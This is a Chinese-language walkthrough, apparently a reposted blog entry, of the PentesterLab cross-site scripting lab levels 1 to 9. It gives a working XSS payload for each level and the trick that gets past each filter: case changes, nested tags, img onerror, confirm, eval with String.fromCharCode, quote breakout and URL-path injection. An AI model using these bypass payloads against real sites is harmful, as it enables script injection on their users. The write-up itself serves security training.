PentesterLab----xss

xss1  无过滤


name = <script>alert(1)</script>

192.168.195.137/xss/example1.php?name=name=<button type="button" onclick=alert('xss')>通过按钮点击触发xss
</button> <font size="4" color="blue" onmouseover=alert('xss')>%20 移动到元素触发xss
%20 </font> <br><select> <option onclick=alert('x')>onclick点击触发事件
</option> <option values=1 onmousedown=alert('ss')>onmousedown触发
</option></select> <a href=javascript:alert('xss')>利用a标签的href属性触发
</a> <br><textarea placeholder=国光的xss测试:键盘按键触发xss onkeypress=alert('xss')></textarea

 

 

xss2   使用大写绕过


发现<script>被过滤了。换一种方式,用大小写:<SCRIPT>alert(1)</SCRIPT>

 

 

 

xss3        大小写嵌套使用

<script>被过滤了,把script分割开就好了

name=<scri<script>pt>alert(1)</SC</script>RIPT>

 

 

 

xss4

基本的测试输出error


name=<img   src="1"    onerror="alert(1)">

 

 

xss5

在xss4的基础上,alert被过滤了,输出error,利用Img标签和confirm函数

name=<img%20src="1"%20onerror="confirm(1)">

 

或者用eval函数

name=<img src="1"  onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">

String.fromCharCode函数是把输入字符的unicode值转化为字符串,上面这个

String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)输出就是:alert(‘xss’)

 

 

 

xss6

发现在页面上不会输出什么东西,于是打开F12,查看元素,发现竟然把输入的东西输出到了<script>标签中

 

 


熟悉javascript的语法就可以了,闭合双引号,加分号结束var的定义,然后再写一个alert,注释掉后面的语句。

name=xss";alert($a);//

 

第二种方法

闭合标签

 

输入   11";</script><img src=1 onerror=alert('xss')><script>

 

 

 

 

 

xss7

这个和xss6一样的,只不过是把双引号变成单引号了

name=xss’;alert($a);//

第七关 过滤掉了 < >   所以不能使用第6关的 第一种方法 xss';</script><img src=1 onerror=alert('xss')><script>

 

xss8

发现输入的东西被原样输出在页面了,好像没有办法了,但是发现在提交按钮对应的表单中your name没有接收到任何东西

 

 

输入    /"><script>alert(1)</script>

 


 

 

 

 

 

 

 

或者

 

example8.php/"><img src=1 onerror=alert('xss')><form>

 

xss9

 

原来考的是利用location.hash获取url中#后面的部分,这个substring是从第一个字符取到最后 --, 好像并没有什么用。然后document.write写到页面中。

 

猜你喜欢

转载自www.cnblogs.com/xingyuner/p/12977336.html
xss